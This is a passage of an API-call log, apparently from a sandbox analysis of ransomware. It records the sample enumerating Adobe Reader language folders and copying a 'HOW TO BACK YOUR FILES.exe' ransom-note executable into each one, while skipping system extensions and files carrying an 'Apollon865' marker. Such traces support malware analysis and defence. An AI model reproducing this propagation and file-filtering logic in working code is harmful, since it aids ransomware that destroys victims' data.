	[0060.145] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.145] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.151] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.151] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bec4890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bec4890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.151] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.151] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.151] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.151] lstrlenW (lpString="eula.ini") returned 8
	[0060.151] lstrlenW (lpString="Apollon865") returned 10
	[0060.151] lstrlenW (lpString=".dll") returned 4
	[0060.151] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.151] lstrlenW (lpString=".lnk") returned 4
	[0060.151] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.152] lstrlenW (lpString=".ini") returned 4
	[0060.152] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.152] lstrlenW (lpString=".sys") returned 4
	[0060.152] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.152] lstrlenW (lpString="eula.ini") returned 8
	[0060.152] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.152] lstrlenW (lpString="license.html") returned 12
	[0060.152] lstrlenW (lpString="Apollon865") returned 10
	[0060.152] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.152] lstrlenW (lpString=".dll") returned 4
	[0060.152] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.152] lstrlenW (lpString=".lnk") returned 4
	[0060.152] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.152] lstrlenW (lpString=".ini") returned 4
	[0060.152] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.152] lstrlenW (lpString=".sys") returned 4
	[0060.152] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.152] lstrlenW (lpString="license.html") returned 12
	[0060.152] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP"
	[0060.152] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591b40 | out: hHeap=0x580000) returned 1
	[0060.152] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0060.152] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned 57
	[0060.152] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP"
	[0060.152] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.152] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.163] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.163] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3beea9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3beea9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.164] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.164] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.164] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.164] lstrlenW (lpString="eula.ini") returned 8
	[0060.164] lstrlenW (lpString="Apollon865") returned 10
	[0060.164] lstrlenW (lpString=".dll") returned 4
	[0060.164] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.164] lstrlenW (lpString=".lnk") returned 4
	[0060.164] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.164] lstrlenW (lpString=".ini") returned 4
	[0060.164] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.164] lstrlenW (lpString=".sys") returned 4
	[0060.164] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.164] lstrlenW (lpString="eula.ini") returned 8
	[0060.164] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.164] lstrlenW (lpString="license.html") returned 12
	[0060.164] lstrlenW (lpString="Apollon865") returned 10
	[0060.164] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.164] lstrlenW (lpString=".dll") returned 4
	[0060.164] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.164] lstrlenW (lpString=".lnk") returned 4
	[0060.164] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.164] lstrlenW (lpString=".ini") returned 4
	[0060.164] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.164] lstrlenW (lpString=".sys") returned 4
	[0060.164] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.165] lstrlenW (lpString="license.html") returned 12
	[0060.165] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU"
	[0060.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591ac0 | out: hHeap=0x580000) returned 1
	[0060.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0060.165] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned 57
	[0060.165] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU"
	[0060.165] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.165] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.171] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.171] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3beea9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3beea9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.172] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.172] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.172] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.172] lstrlenW (lpString="eula.ini") returned 8
	[0060.172] lstrlenW (lpString="Apollon865") returned 10
	[0060.172] lstrlenW (lpString=".dll") returned 4
	[0060.172] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.172] lstrlenW (lpString=".lnk") returned 4
	[0060.172] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.172] lstrlenW (lpString=".ini") returned 4
	[0060.172] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.172] lstrlenW (lpString=".sys") returned 4
	[0060.172] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.172] lstrlenW (lpString="eula.ini") returned 8
	[0060.172] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.172] lstrlenW (lpString="license.html") returned 12
	[0060.172] lstrlenW (lpString="Apollon865") returned 10
	[0060.172] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.172] lstrlenW (lpString=".dll") returned 4
	[0060.172] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.172] lstrlenW (lpString=".lnk") returned 4
	[0060.172] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.172] lstrlenW (lpString=".ini") returned 4
	[0060.172] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.173] lstrlenW (lpString=".sys") returned 4
	[0060.173] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.173] lstrlenW (lpString="license.html") returned 12
	[0060.173] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU"
	[0060.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591a40 | out: hHeap=0x580000) returned 1
	[0060.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0060.173] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned 57
	[0060.173] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU"
	[0060.173] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.173] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.180] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.180] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bf10b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bf10b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.180] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.180] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.180] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.180] lstrlenW (lpString="eula.ini") returned 8
	[0060.181] lstrlenW (lpString="Apollon865") returned 10
	[0060.181] lstrlenW (lpString=".dll") returned 4
	[0060.181] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.181] lstrlenW (lpString=".lnk") returned 4
	[0060.181] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.181] lstrlenW (lpString=".ini") returned 4
	[0060.181] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.181] lstrlenW (lpString=".sys") returned 4
	[0060.181] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.181] lstrlenW (lpString="eula.ini") returned 8
	[0060.181] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.181] lstrlenW (lpString="license.html") returned 12
	[0060.181] lstrlenW (lpString="Apollon865") returned 10
	[0060.181] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.181] lstrlenW (lpString=".dll") returned 4
	[0060.181] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.181] lstrlenW (lpString=".lnk") returned 4
	[0060.181] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.181] lstrlenW (lpString=".ini") returned 4
	[0060.181] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.181] lstrlenW (lpString=".sys") returned 4
	[0060.181] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.181] lstrlenW (lpString="license.html") returned 12
	[0060.181] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN"
	[0060.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5919c0 | out: hHeap=0x580000) returned 1
	[0060.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0060.181] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned 57
	[0060.181] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN"
	[0060.181] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.182] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.191] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.191] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bf36cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bf36cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.191] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.191] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.191] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.191] lstrlenW (lpString="eula.ini") returned 8
	[0060.191] lstrlenW (lpString="Apollon865") returned 10
	[0060.191] lstrlenW (lpString=".dll") returned 4
	[0060.191] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.191] lstrlenW (lpString=".lnk") returned 4
	[0060.191] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.191] lstrlenW (lpString=".ini") returned 4
	[0060.191] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.191] lstrlenW (lpString=".sys") returned 4
	[0060.191] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.191] lstrlenW (lpString="eula.ini") returned 8
	[0060.191] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.191] lstrlenW (lpString="license.html") returned 12
	[0060.191] lstrlenW (lpString="Apollon865") returned 10
	[0060.192] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.192] lstrlenW (lpString=".dll") returned 4
	[0060.192] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.192] lstrlenW (lpString=".lnk") returned 4
	[0060.192] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.192] lstrlenW (lpString=".ini") returned 4
	[0060.192] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.192] lstrlenW (lpString=".sys") returned 4
	[0060.192] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.192] lstrlenW (lpString="license.html") returned 12
	[0060.192] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE"
	[0060.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591940 | out: hHeap=0x580000) returned 1
	[0060.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0060.192] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned 57
	[0060.192] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE"
	[0060.192] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.192] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.196] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bf36cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bf36cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.197] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.197] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.197] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.197] lstrlenW (lpString="eula.ini") returned 8
	[0060.197] lstrlenW (lpString="Apollon865") returned 10
	[0060.197] lstrlenW (lpString=".dll") returned 4
	[0060.197] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.197] lstrlenW (lpString=".lnk") returned 4
	[0060.197] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.197] lstrlenW (lpString=".ini") returned 4
	[0060.197] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.197] lstrlenW (lpString=".sys") returned 4
	[0060.197] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.197] lstrlenW (lpString="eula.ini") returned 8
	[0060.197] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.197] lstrlenW (lpString="license.html") returned 12
	[0060.197] lstrlenW (lpString="Apollon865") returned 10
	[0060.197] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.197] lstrlenW (lpString=".dll") returned 4
	[0060.197] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.197] lstrlenW (lpString=".lnk") returned 4
	[0060.197] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.197] lstrlenW (lpString=".ini") returned 4
	[0060.197] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.197] lstrlenW (lpString=".sys") returned 4
	[0060.197] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.197] lstrlenW (lpString="license.html") returned 12
	[0060.197] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT"
	[0060.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5918c0 | out: hHeap=0x580000) returned 1
	[0060.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0060.198] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned 57
	[0060.198] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT"
	[0060.198] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.198] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.216] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.216] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bf36cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bf36cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.216] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.216] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.216] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.216] lstrlenW (lpString="eula.ini") returned 8
	[0060.216] lstrlenW (lpString="Apollon865") returned 10
	[0060.216] lstrlenW (lpString=".dll") returned 4
	[0060.216] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.216] lstrlenW (lpString=".lnk") returned 4
	[0060.216] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.216] lstrlenW (lpString=".ini") returned 4
	[0060.216] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.216] lstrlenW (lpString=".sys") returned 4
	[0060.216] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.216] lstrlenW (lpString="eula.ini") returned 8
	[0060.217] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.217] lstrlenW (lpString="license.html") returned 12
	[0060.217] lstrlenW (lpString="Apollon865") returned 10
	[0060.217] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.217] lstrlenW (lpString=".dll") returned 4
	[0060.217] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
